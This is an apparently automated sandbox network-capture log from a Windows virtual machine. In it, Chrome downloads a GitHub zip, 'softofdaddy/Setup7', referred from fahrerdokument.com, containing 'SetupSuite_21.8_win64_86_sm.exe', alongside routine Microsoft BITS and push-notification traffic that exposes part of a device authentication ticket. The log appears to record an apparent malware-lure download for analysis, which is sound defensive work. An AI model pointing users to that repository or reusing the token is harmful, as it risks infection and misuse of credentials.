2024-04-05 18:10:28 UTC	10526	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 78 00 00 01 87 08 02 00 00 00 35 3b de 3d 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 28 b3 49 44 41 54 78 5e ed 9d ef b3 6d 49 79 d7 f9 77 ac ca 4b 8b 17 53 25 e5 0b df 58 95 4a e9 0b 0a 5f 28 41 2c 47 cd 0f 15 53 24 86 50 d1 10 88 41 82 4c 2a 84 30 92 32 a4 0c ca 80 26 68 f0 02 42 20 09 29 20 a8 31 09 8a 13 2e 30 c0 cc 30 73 e7 de 3b 73 ef cc f9 71 ef 39 67 ef f1 e9 d5 bd 7a 3d dd ab 7b ed 5e 7b ef 3e bb d7 39 9f 4f 3d 75 ee 39 dd bd ba 9f 7e ba fb bb 7b f5 5e 7b df d7 bc 0a 00 50 89 f5 da fe 8b d0 00 40 75 10 1a 00 a8 80 dd cb f4 3f 11 1a 00 a8 0e 42 03 00 d5 60 47 03 00 97 06 42 03 00 Data Ascii: PNGIHDRx5;=sRGBgAMAapHYsod(IDATx^mIywKS%XJ_(A,GS$PAL*02&hB ) 1.00s;sq9gz={^{>9O=u9~{^{P@u?B`GB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49724	23.204.76.112	443

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:27 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-05 18:10:28 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0758) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=46400 Date: Fri, 05 Apr 2024 18:10:28 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49727	140.82.114.10	443	6976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:28 UTC	724	OUT	GET /softofdaddy/Setup7/zip/refs/heads/main HTTP/1.1 Host: codeload.github.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://fahrerdokument.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-05 18:10:28 UTC	693	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://render.githubusercontent.com content-disposition: attachment; filename=Setup7-main.zip Content-Length: 13036333 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/zip cross-origin-resource-policy: cross-origin ETag: "a05dd27fea7d46b83caf534e1134f8192f92baec2577b7e2f5b13388a56c9cd9" Strict-Transport-Security: max-age=31536000 Vary: Authorization,Accept-Encoding,Origin X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Date: Fri, 05 Apr 2024 18:10:28 GMT X-GitHub-Request-Id: 8D2E:2A4CBA:DF7286:16FEEDE:66103E94 connection: close
2024-04-05 18:10:28 UTC	512	IN	Data Raw: 50 4b 03 04 0a 00 00 00 00 00 02 6a 83 58 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 09 00 53 65 74 75 70 37 2d 6d 61 69 6e 2f 55 54 05 00 01 05 b9 0d 66 50 4b 03 04 0a 00 00 00 08 00 02 6a 83 58 62 3b a0 9f c5 e9 c6 00 60 ad 21 01 2b 00 09 00 53 65 74 75 70 37 2d 6d 61 69 6e 2f 53 65 74 75 70 53 75 69 74 65 5f 32 31 2e 38 5f 77 69 6e 36 34 5f 38 36 5f 73 6d 2e 65 78 65 55 54 05 00 01 05 b9 0d 66 bc bd 0b 60 54 c5 d5 38 7e 77 f7 26 d9 24 4b ee 26 24 f2 30 62 90 28 20 0f c1 80 82 01 4d c8 83 80 80 0b 79 f0 54 8c 64 d7 04 42 c2 b7 b9 0b 58 79 6c 7a 93 9a eb 75 6d da 6a 3f db da af e2 a3 b5 4a 2b 2a 85 f8 a8 6e d8 98 00 52 08 60 25 3c d4 28 b4 de b0 a8 51 f2 85 00 91 fb 3f 67 66 ee 3e 42 10 ad df ef 1f dd 9d 3b 67 ce 9c 39 e7 cc 99 33 67 1e 77 99 bb c4 c6 19 Data Ascii: PKjXSetup7-main/UTfPKjXb;`!+Setup7-main/SetupSuite_21.8_win64_86_sm.exeUTf`T8~w&$K&$0b( MyTdBXylzumj?J+*nR`%<(Q?gf>B;g93gw
2024-04-05 18:10:28 UTC	1370	IN	Data Raw: 1a bc e3 1f a8 aa c2 67 db 9b 60 3c 5e e7 95 a4 f2 8e 2f a3 04 89 6e dc c8 00 12 0f c7 27 f4 4a 28 22 91 11 64 e5 12 21 ed e9 07 cf 4e e9 11 9d 83 ee 89 d1 5b aa fa e2 65 8c 17 cb 09 b0 00 bf ac ae 2b f3 e7 a4 f4 ee 25 0a 60 f4 e2 fa a1 e7 b4 97 57 82 ee c6 62 1f 42 5f 72 0e 48 ad 97 e1 cd 18 ef ac 72 a2 8a 89 0d 80 2d 70 2a a4 6b 1f be 8c 5e 18 c0 aa d0 f4 e3 ba ef c6 fb 8e 3f de 9a c1 99 a2 66 54 56 96 db 8b 2b 0c 08 21 5f 00 8d c8 2d 2e af b2 f3 05 4e 97 3d 32 ff a1 2a d1 be 1a 45 9c 04 25 46 73 66 45 55 59 56 69 b1 93 e0 82 d7 20 d2 73 36 28 8b e6 11 6e 22 70 8d c1 4b 01 6e 30 e7 97 56 3a c5 59 15 22 e7 d6 34 6d b3 5e a7 86 96 ad 2e 2e 2f 87 32 a3 5e 48 ca 9e c1 b2 28 00 db 1f b4 3b d1 36 49 a1 91 6b 40 38 3f e3 21 d1 1e de 7e 2b 81 2f ac 74 96 84 b7 Data Ascii: g`<^/n'J("d!N[e+%`WbB_rHr-pk^?fTV+!_-.N=2E%FsfEUYVi s6(n"pKn0V:Y"4m^../2^H(;6Ik@8?!~+/t
2024-04-05 18:10:28 UTC	1370	IN	Data Raw: 96 81 8b cc 24 0c 60 dd 74 2e f5 4f 19 dc 00 ea 33 33 4b 4a 9c 30 d0 75 a6 fa 54 4e d8 1a 1f 26 76 3a f7 c4 f7 ad da 57 63 b9 dc db 50 35 86 56 0d ed 1f 53 bf 26 13 c5 a8 b3 0e 33 b2 0e 9b ce 75 82 32 13 e6 a3 df 75 94 d9 4b 7e 50 6f df c1 99 5f 04 a5 e5 96 d9 cb 2f 63 3e dc 9a fa ca 7d 07 b7 e1 7b d6 bc 5c ec 76 b0 76 0b cc 8f 81 39 4f ef 28 53 9f 36 71 16 36 70 74 0a 4e 41 19 8c 9c 09 c6 38 1d 71 d9 cf 67 70 f1 a1 54 c8 ec 68 e2 9e 48 ec af db 42 49 19 b9 89 dc ee 67 fb d4 26 f3 ae 89 4b 49 ea d7 ba d2 b8 3a 68 ce 5c 08 03 fc fb ea 76 12 d7 09 55 a2 b1 4a fe 8a ca 35 df ab 4e 1a 99 06 22 c9 f4 12 1c 78 e1 5a 21 39 43 40 11 63 c8 ac 11 0b a2 e4 15 57 95 e2 cc 1e 18 22 7d fd 41 1a 99 5c cc 05 95 34 02 0e 30 14 8e 17 c6 d0 52 32 17 c5 e7 17 3b ec 59 b0 ba Data Ascii: $`t.O33KJ0uTN&v:WcP5VS&3u2uK~Po_/c>}{\vv9O(S6q6ptNA8qgpThHBIg&KI:h\vUJ5N"xZ!9C@cW"}A\40R2;Y
2024-04-05 18:10:28 UTC	1370	IN	Data Raw: 06 ce 38 72 8c 3e 4d a2 46 52 a1 8d 10 b3 72 73 64 9a 34 eb 2a 62 fd dc db f1 0b d0 02 7d 7a 25 f0 f4 2a 3c ed 9b 0b e4 16 c2 a7 78 4c ff fd 5c 3e 26 23 70 04 8b fd dc 05 f9 f5 63 82 fd 6c 1d 4b 9f bb 18 ec c2 18 ea e0 fe b3 18 3f be 60 5e a5 ce 3b 55 02 d2 8f ba 1c 8c cd f5 1b e4 67 00 7e a2 c5 16 72 20 b5 95 ac 16 17 21 3c d6 16 3c b0 79 9e cc c0 dc 1a 0a 0f 1e ee d4 53 78 1d c2 e3 6c b0 dc 5e 51 a9 17 d1 49 1b e6 bf b1 78 f6 53 58 90 3b 85 c2 3b be 35 72 0d 08 1b b0 a0 78 1d 1e 63 b1 93 30 1c 69 ad 00 8f 8f 2d 98 01 ac 97 64 3a 9d c5 0f e9 ca 34 b1 1e 64 fc 3f ad 1f 86 8d 23 73 32 1e 56 81 3d 50 68 22 85 b1 43 47 0a 1b 35 8e 9c 01 61 6b db f5 aa d3 10 16 69 23 67 80 89 f1 14 68 1b 47 ce dc f4 83 be 12 06 e6 4a 29 5c 3f cc 7b 4a 87 bb 69 5b ec c4 aa 81 Data Ascii: 8r>MFRrsd4b}z%<xL\>&#pclK?`^;Ug~r !<<ySxl^QIxSX;;5rxc0i-d:4d?#s2V=Ph"CG5aki#ghGJ)\?{Ji[
2024-04-05 18:10:28 UTC	1370	IN	Data Raw: d8 78 6e 6b 3f d8 cc 9b 5e 86 7d 1b d7 84 e2 64 96 97 57 ae 98 8b db 05 38 26 2f 3f 8b 46 67 00 6b 7f 1a 7f 1a 61 f9 db 06 b5 62 16 d8 8b fb d4 eb 7b 26 8c 50 03 17 79 4f 79 89 8d 84 50 74 91 11 05 ab 57 9d d4 24 ae 07 48 45 e1 d1 12 a1 43 d5 de b7 7d 4a c7 44 88 18 b9 07 38 f3 c4 4c 8e cf aa 5c c3 ce 97 ac 5c 44 78 05 a3 6d 1e a9 90 ef 5c 11 68 35 26 ec 86 16 52 b4 70 3c 2e b9 19 86 99 8b 08 ec 5b 3d c0 a5 5c ad 05 c6 12 69 c1 80 cd 19 c3 a8 59 fa b4 77 79 0b 19 57 6b a1 ee c7 ca b0 e8 07 c9 50 f7 1f c8 b0 e1 6a 2d 78 7f ac 0c 4f fc 20 19 bc ff 81 0c 0d 57 6b a1 e7 c7 ca d0 fa 83 64 e8 f9 0f 64 e8 bc 5a 0b 93 ee f9 91 32 98 6f fd 21 32 60 73 3f 54 86 b1 57 6b 61 cd 8f 95 21 fb 07 c9 b0 e6 3f 90 a1 f4 6a 2d 6c fd b1 32 b8 7f 90 0c 5b ff 03 19 9e bf 5a 0b Data Ascii: xnk?^}dW8&/?Fgkab{&PyOyPtW$HEC}JD8L\\Dxm\h5&Rp<.[=\iYwyWkPj-xO WkddZ2o!2`s?TWka!?j-l2[Z
2024-04-05 18:10:28 UTC	1370	IN	Data Raw: 76 78 9c 67 7f b0 18 1f 23 1c f8 ee 1d 50 98 07 09 64 e6 15 cf 0b 1c 7f 7f 30 9f dc fb d1 0f a9 a7 4c 00 21 62 74 c6 91 83 12 76 58 cb c5 16 07 91 90 e7 28 ce bc 61 03 f4 47 ce fa 35 95 15 76 bc cf c6 4e 3b cd 35 0f 03 38 d7 59 4c 2e e1 31 0a 00 5e 84 d8 73 8b 41 ec aa aa 62 8e 5c a5 40 f0 a4 8d 19 5c 2c 13 19 fb 83 ca 8b 25 dc 26 f0 8b 33 5c 65 e5 25 85 6b 98 a5 93 cb f1 e6 fc b2 07 2b d8 45 6b 72 21 43 27 6a a4 f7 b0 03 2c 91 73 d4 bc c0 8b f2 eb d7 94 97 ad c0 7b a7 ad f3 d1 61 22 5f 06 72 0f 22 b6 e4 72 1c 52 6a 25 98 fa 5d 09 2e 9f f8 d0 c0 9b 51 f4 26 c1 e0 7c 34 87 e4 7c e2 43 fb 94 d9 74 4d 62 37 06 5e f7 1f 10 c0 a2 6f 67 07 ac 22 2e 50 c0 2e 2f f5 2e 60 06 2f f4 21 6c 0c de 55 b2 06 8a 02 6f 0d 06 ec de 3a cf b5 fa 01 bb d3 56 ec 04 97 2b da 9d Data Ascii: vxg#Pd0L!btvX(aG5vN;58YL.1^sAb\@\,%&3\e%k+Ekr!C'j,s{a"_r"rRj%].Q&\|4\|CtMb7^og".P./.`/!lUo:V+
2024-04-05 18:10:28 UTC	1370	IN	Data Raw: ab bf 1d 1b c3 73 6b cd e0 cd 08 26 a9 a1 64 98 95 dd ca 61 a5 45 7d 63 28 6a 41 3d 04 83 d0 9f 79 d0 9f 7e d6 19 a3 7c 22 7d 65 95 d7 99 fd 13 41 c0 f7 d4 34 9d d4 0d d5 97 18 29 d6 a8 f2 0f 42 62 2d 25 f1 73 20 81 2e 33 85 ea d3 63 33 35 9e 36 4d 1f 0b ee 24 ff d1 01 68 af c2 23 79 60 ed 35 7b 84 1d 3f 7d 0a 6c d6 93 fc 5e fd b6 bf 70 ae 22 25 df ac cc b0 be d1 03 da 9e 7a 4c 1c 24 cd 48 34 8c 80 21 3a db 2a db 7a c5 51 cd 26 0e a8 d5 d7 2b f9 83 85 9d 77 1b 0d 8d e9 59 89 eb d6 22 92 7c b7 15 0a 01 89 96 cf 36 cb 8b 2d f2 dd 66 56 a1 01 03 4c 30 f6 11 e2 1f 24 5f 4a 30 f7 8b b0 9c 24 f9 33 ce d6 eb 83 e8 7d 30 f7 51 17 34 2d 50 2e d4 2c c7 11 1e a3 26 00 d4 bf b5 68 a1 3e f2 a6 ea 28 37 76 c2 b0 14 6f 0e d2 f8 37 d0 38 75 3e 48 83 22 44 03 8d fd 00 f5 Data Ascii: sk&daE}c(jA=y~\|"}eA4)Bb-%s .3c356M$h#y`5{?}l^p"%zL$H4!:*zQ&+wY"\|6-fVL0$_J0$3}0Q4-P.,&h>(7vo78u>H"D
2024-04-05 18:10:28 UTC	1370	IN	Data Raw: da f0 1e 4f 8d 15 bb e0 46 d2 03 de 09 9e 42 7e f4 ae 75 b1 52 ea f8 73 d2 7b bc 7f 58 7d bd 5c 30 be d7 f3 13 93 bc 21 b2 57 7e 8f e9 2a ca d0 a9 76 02 b9 e8 8f e4 8a de 70 b5 d4 d7 eb f9 3e 0d 19 5a 41 49 07 16 a8 cf c3 a0 58 02 3a 3b c8 02 1b 93 6c eb 09 a8 cf 1f 4f d4 c7 5f 0c a8 af fe be a5 dd 8d 30 38 ae eb a6 1e d1 9b ef 59 a4 49 27 7b d5 65 e7 e8 90 db e3 49 1c 1c fd 7e f5 45 24 56 95 70 ee f8 d1 2f 3f 4a 1c 2a f9 cc eb 7b e4 98 8f bc 47 cf d1 f8 75 3e c4 85 6d ee e9 cb 88 c6 8b 57 72 10 e9 f1 36 a5 59 bd 54 cc 71 b6 a2 95 5d ea bd 5f 69 9a 4d 3d fb 35 44 0b b4 70 4b 1d 04 37 ea c7 58 4e 1e 6d 80 34 85 20 ed 0f 22 29 3e f5 6d c4 c8 87 c2 6b 49 e1 ab 50 e8 8f 2b b5 42 00 58 94 0f bd f7 7b 98 13 96 a0 1c 10 af 1d 84 d5 80 92 00 66 67 3a a8 ec 22 6b Data Ascii: OFB~uRs{X}\0!W~vp>ZAIX:;lO_08YI'{eI~E$Vp/?J{Gu>mWr6YTq]_iM=5DpK7XNm4 ")>mkIP+BX{fg:"k
2024-04-05 18:10:28 UTC	1370	IN	Data Raw: 96 a0 bb f5 3c 89 8a a5 90 6c a2 91 96 da 4e c0 c1 1f d6 6f a9 6d 87 a7 5f 42 91 a7 b6 f7 1e 68 b7 f6 04 36 48 a0 c2 4e 0e 94 26 d7 9e 22 ea ed 46 f2 ef 62 af 2b 14 a7 d3 53 7b 5c fb 56 4b 6f 13 1e 19 0b 5a 95 ee e4 84 9f 5d 03 0f ee bf 13 4e 5c c3 b7 ac c1 16 7f b2 84 b9 7c 92 6b 22 fa a1 cc 1a dc 7f 27 44 5d 45 cd a6 01 59 cd a6 98 2c 85 f0 8e 93 c6 1c 8a 67 4a 01 f8 b8 2c 4c 95 c3 0a e1 44 9d 48 8a b6 ac 47 72 d7 e9 c4 49 ee 41 46 1c a9 1a fc b0 30 1a 4b 6b b6 48 aa c1 19 25 0e cf 13 ef f0 17 d0 a9 e7 d4 e2 d0 89 68 3c a9 e8 cf de e2 c6 dc 6e bd 8c e4 12 68 d9 a8 2d 35 98 db aa 97 91 5c 77 0f 29 b3 28 b9 bd c0 33 17 c2 f3 7a da 72 24 80 ab 09 d2 3d d2 97 66 49 03 77 d2 0c bd aa 0b 7e 8d 7b fa c7 24 24 18 40 65 93 bc fc 8b 82 cb 42 33 b4 23 ab 89 b2 f1 Data Ascii: <lNom_Bh6HN&"Fb+S{\VKoZ]N\\|k"'D]EY,gJ,LDHGrIAF0KkH%h<nh-5\w)(3zr$=fIw~{$$@eB3#
2024-04-05 18:10:28 UTC	1370	IN	Data Raw: b6 e3 5a fe 27 42 ed e3 24 54 25 08 5d 9f 62 cd 6e f8 96 73 7a d2 0e 15 96 ee 13 b1 2b 6e 2d 91 6f 40 12 20 b7 4d dd 8d aa ca e9 c1 40 7a ed 78 87 b4 9e 37 ba 86 0a 3b 6c e6 f4 63 22 0f 11 56 9c 62 b3 a4 17 f6 ae 8d 84 54 2e ec 95 bc 83 a5 d5 5d 83 11 7b dd a1 80 f8 87 81 2c 12 83 26 ab 49 93 0a 7c a3 1e 7c 99 a0 87 7f 81 0a 89 22 b8 99 76 71 4e e5 83 65 2b 8a cb c9 0f 46 54 55 55 3a 43 ae 46 70 dc 2a ce ce 39 b9 0a f8 2e e7 d2 b8 5b b9 f1 5c 09 3c d1 9f 18 03 b3 aa 6e 3a 81 eb 85 f3 38 60 f0 98 09 7c 60 32 76 e8 0b 09 10 62 41 1e 33 2b 4d 2b 53 e0 63 80 8f 71 25 ae bb cc c0 0a ac 5f 0d 34 b9 00 5a 92 f9 54 3c 71 13 76 fa e4 ec 54 8b b0 b3 19 12 ab 43 7e 3b 15 eb 6b 62 2a 8f 9f 95 23 a0 85 44 9b 7a 90 a8 d5 70 ad 37 a3 ba 29 15 ca 89 0f 75 bc 61 e0 1c b0 Data Ascii: Z'B$T%]bnsz+n-o@ M@zx7;lc"VbT.]{,&I\|\|"vqNe+FTUU:CFp9.[\<n:8`\|`2vbA3+M+Scq%_4ZT<qvTC~;kb#Dzp7)ua

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49726	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:28 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 47 73 33 69 78 6c 39 46 64 30 47 46 66 4a 58 2f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 35 34 66 33 65 35 39 65 36 62 34 38 37 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Gs3ixl9Fd0GFfJX/.1Context: 7a54f3e59e6b487c
2024-04-05 18:10:28 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-05 18:10:28 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 47 73 33 69 78 6c 39 46 64 30 47 46 66 4a 58 2f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 35 34 66 33 65 35 39 65 36 62 34 38 37 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 2f 55 38 46 45 36 53 77 49 71 65 54 56 68 43 63 72 4e 52 43 41 50 4c 33 5a 53 75 52 53 73 56 4c 63 5a 36 2b 79 41 7a 4f 43 2f 5a 4d 50 30 48 42 59 4e 4e 6e 71 79 76 4c 4c 77 58 72 72 34 76 69 4c 66 77 74 6f 63 69 6f 49 68 77 45 47 44 39 2f 51 51 72 36 4e 58 6e 57 55 79 4b 31 4a 45 68 4c 6d 63 79 6d 42 77 2f 68 67 77 42 50 Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: Gs3ixl9Fd0GFfJX/.2Context: 7a54f3e59e6b487c<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAf/U8FE6SwIqeTVhCcrNRCAPL3ZSuRSsVLcZ6+yAzOC/ZMP0HBYNNnqyvLLwXrr4viLfwtocioIhwEGD9/QQr6NXnWUyK1JEhLmcymBw/hgwBP
2024-04-05 18:10:28 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 47 73 33 69 78 6c 39 46 64 30 47 46 66 4a 58 2f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 35 34 66 33 65 35 39 65 36 62 34 38 37 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Gs3ixl9Fd0GFfJX/.3Context: 7a54f3e59e6b487c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-05 18:10:28 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-05 18:10:28 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 50 42 4f 6e 61 75 35 5a 6d 6b 65 45 48 62 63 44 6a 34 4c 37 4e 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: PBOnau5ZmkeEHbcDj4L7Ng.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49728	23.204.76.112	443

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:28 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-05 18:10:28 UTC	530	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0DZ+oYgAAAABSxwJpMgMuSLkfS640ajfFQVRBRURHRTEyMTkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=46400 Date: Fri, 05 Apr 2024 18:10:28 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-05 18:10:28 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49729	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-05 18:10:36 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 54 43 2b 66 31 44 44 5a 59 55 61 65 48 4c 66 5a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 38 62 37 34 39 38 62 32 65 31 38 63 38 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: TC+f1DDZYUaeHLfZ.1Context: 538b7498b2e18c86
2024-04-05 18:10:36 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-05 18:10:36 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 54 43 2b 66 31 44 44 5a 59 55 61 65 48 4c 66 5a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 38 62 37 34 39 38 62 32 65 31 38 63 38 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 2f 55 38 46 45 36 53 77 49 71 65 54 56 68 43 63 72 4e 52 43 41 50 4c 33 5a 53 75 52 53 73 56 4c 63 5a 36 2b 79 41 7a 4f 43 2f 5a 4d 50 30 48 42 59 4e 4e 6e 71 79 76 4c 4c 77 58 72 72 34 76 69 4c 66 77 74 6f 63 69 6f 49 68 77 45 47 44 39 2f 51 51 72 36 4e 58 6e 57 55 79 4b 31 4a 45 68 4c 6d 63 79 6d 42 77 2f 68 67 77 42 50 Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: TC+f1DDZYUaeHLfZ.2Context: 